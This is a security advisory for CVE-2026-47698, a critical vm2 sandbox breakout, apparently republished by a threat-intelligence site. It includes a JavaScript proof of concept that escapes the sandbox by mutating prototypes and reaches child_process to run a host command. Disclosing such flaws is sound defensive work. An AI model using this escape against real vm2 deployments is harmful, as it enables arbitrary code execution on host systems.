criticalCVSS 9.8Vulnerability

CVE-2026-47698

### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous. ### PoC ```js const {VM} = require("."); const vm = new VM(); console.log(vm.run(` const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } } f(); `)); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

Properties

ghsa_id
GHSA-cfcw-xp6x-25gj
severity
critical
summary
vm2: Sandbox Breakout Using Dangerous Host Proto Mutators
cvss_score
9.8
cve_id
CVE-2026-47698
cvss_vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
is_ghsa_only
false
ghsa_published
2026-08-17T17:32:41Z
source_url
https://github.com/advisories/GHSA-cfcw-xp6x-25gj
ghsa_updated
2026-08-17T17:49:06Z

Related Entities (4)

VULNERABLE_TO (1)

[Software]npm/vm2

AFFECTS (1)

[Software]npm/vm2

HAS_WEAKNESS (1)

[Weakness]Improper Control of Dynamically-Managed Code Resources

REPORTED_BY (1)

[Source]GitHub Advisory Database

Explore deeper with Ninja Signal's threat intelligence graph

CVE-2026-47698 (CVSS 9.8) — Ninja Signal Threat Intelligence | Ninja Signal